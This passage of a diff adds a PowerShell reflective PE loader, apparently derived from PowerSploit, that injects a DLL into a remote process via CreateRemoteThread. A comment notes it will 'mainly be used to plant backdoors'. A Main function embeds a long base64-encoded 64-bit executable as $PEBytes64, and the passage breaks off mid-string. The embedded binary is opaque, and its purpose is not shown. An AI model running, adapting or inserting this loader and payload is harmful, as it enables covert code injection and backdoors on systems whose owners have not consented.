+ ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + $ExeArgs = " $($Command)" + + [System.IO.Directory]::SetCurrentDirectory($pwd) + + $PEBytes64 = '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